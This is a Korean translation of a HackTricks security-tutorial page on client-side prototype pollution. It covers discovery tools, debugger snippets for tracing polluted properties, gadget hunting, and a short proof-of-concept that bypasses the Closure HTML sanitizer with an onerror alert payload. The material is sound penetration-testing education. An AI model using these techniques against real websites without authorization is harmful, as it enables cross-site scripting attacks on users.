Client Side Prototype Pollution

htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 영웅까지 AWS 해킹 배우기 htARTE (HackTricks AWS Red Team Expert)!

HackTricks를 지원하는 다른 방법:

자동 도구를 사용하여 발견하기

도구 https://github.com/dwisiswant0/ppfuzz, https://github.com/kleiton0x00/ppmap https://github.com/kosmosec/proto-find를 사용하여 프로토타입 오염 취약점을 찾을 수 있습니다.

또한 브라우저 확장 프로그램 PPScan을 사용하여 자동으로 액세스하는 페이지스캔하여 프로토타입 오염 취약점을 자동으로 찾을 수 있습니다.

속성이 사용된 위치를 디버깅하기

// Stop debugger where 'potentialGadget' property is accessed
Object.defineProperty(Object.prototype,'potentialGadget', {__proto__:null, get(){
console.trace();
return 'test';
}})

Prototype Pollution 원인 찾기

프로토타입 오염 취약점이 도구를 통해 식별되면 코드가 지나치게 복잡하지 않다면 location.hash, decodeURIComponent, 또는 location.search와 같은 키워드를 Chrome 개발자 도구에서 검색하여 취약한 JavaScript 코드 부분을 정확히 찾을 수 있습니다.

더 크고 복잡한 코드베이스의 경우 취약한 코드를 발견하는 간단한 방법은 다음 단계를 따릅니다:

  1. 도구를 사용하여 취약점을 식별하고 생성자에 속성을 설정하는 페이로드를 얻습니다. ppmap에서 제공하는 예시는 다음과 같을 수 있습니다: constructor[prototype][ppmap]=reserved.

  2. 페이지에서 실행될 JavaScript 코드의 첫 줄에서 중단점을 설정합니다. 페이로드로 페이지를 새로 고침하여 이 중단점에서 실행을 일시 중지합니다.

  3. JavaScript 실행이 중지된 동안 JS 콘솔에서 다음 스크립트를 실행합니다. 이 스크립트는 'ppmap' 속성이 생성될 때 신호를 보내어 원본을 찾는 데 도움이 됩니다:

function debugAccess(obj, prop, debugGet=true){

var origValue = obj[prop];

Object.defineProperty(obj, prop, {
get: function () {
if (debugGet)
debugger;
return origValue;
},
set: function(val) {
debugger;
origValue = val;
}
});

};

debugAccess(Object.prototype, 'ppmap')
  1. 소스 탭으로 이동한 후 "스크립트 실행 계속"을 선택합니다. JavaScript는 계속 실행되고 'ppmap' 속성이 예상대로 오염됩니다. 제공된 스니펫을 활용하면 'ppmap' 속성이 오염된 정확한 위치를 식별할 수 있습니다. 호출 스택을 조사하여 오염이 발생한 다양한 스택을 확인할 수 있습니다.

조사할 스택을 결정할 때는 프로토타입 오염이 자주 발생하는 JavaScript 라이브러리 파일과 관련된 스택을 대상으로 하는 것이 유용합니다. 라이브러리 파일과 연결된 스택을 확인하여 관련 스택을 식별합니다(오른쪽에 표시되는 이미지와 유사함). 4번 줄과 6번 줄과 같이 여러 스택이 있는 경우, 오염이 발생한 초기 스택인 4번 줄의 스택을 선택하는 것이 논리적인 선택입니다. 스택을 클릭하면 취약한 코드로 이동합니다.

스크립트 가젯 찾기

가젯은 PP 취약점이 발견되면 악용될 코드입니다.

응용 프로그램이 간단한 경우 **srcdoc/innerHTML/iframe/createElement**과 같은 키워드검색하여 소스 코드를 검토하고 자바스크립트 실행으로 이어지는지 확인할 수 있습니다. 때로는 언급된 기술이 가젯을 찾지 못할 수 있습니다. 이 경우 순수한 소스 코드 검토를 통해 아래 예제와 같이 좋은 가젯을 발견할 수 있습니다.

Mithil 라이브러리 코드에서 PP 가젯 찾기 예제

다음 글을 확인하세요: https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/

취약한 라이브러리용 페이로드 재컴파일

PP를 통한 HTML 산업화 우회

이 연구는 일부 HTML 산업화 라이브러리에서 제공되는 산업화를 우회하는 데 사용할 PP 가젯을 보여줍니다:

  • sanitize-html

  • dompurify

  • Closure

<!-- from https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/ -->
<script>
Object.prototype['* ONERROR'] = 1;
Object.prototype['* SRC'] = 1;
</script>
<script src=https://google.github.io/closure-library/source/closure/goog/base.js></script>
<script>
goog.require('goog.html.sanitizer.HtmlSanitizer');
goog.require('goog.dom');
</script>
<body>
<script>
const html = '<img src onerror=alert(1)>';
const sanitizer = new goog.html.sanitizer.HtmlSanitizer();
const sanitized = sanitizer.sanitize(html);
const node = goog.dom.safeHtmlToNode(sanitized);

document.body.append(node);
</script>

참고 자료

htARTE (HackTricks AWS Red Team Expert)를 통해 **제로부터 영웅까지 AWS 해킹 배우기**!

HackTricks를 지원하는 다른 방법:

Last updated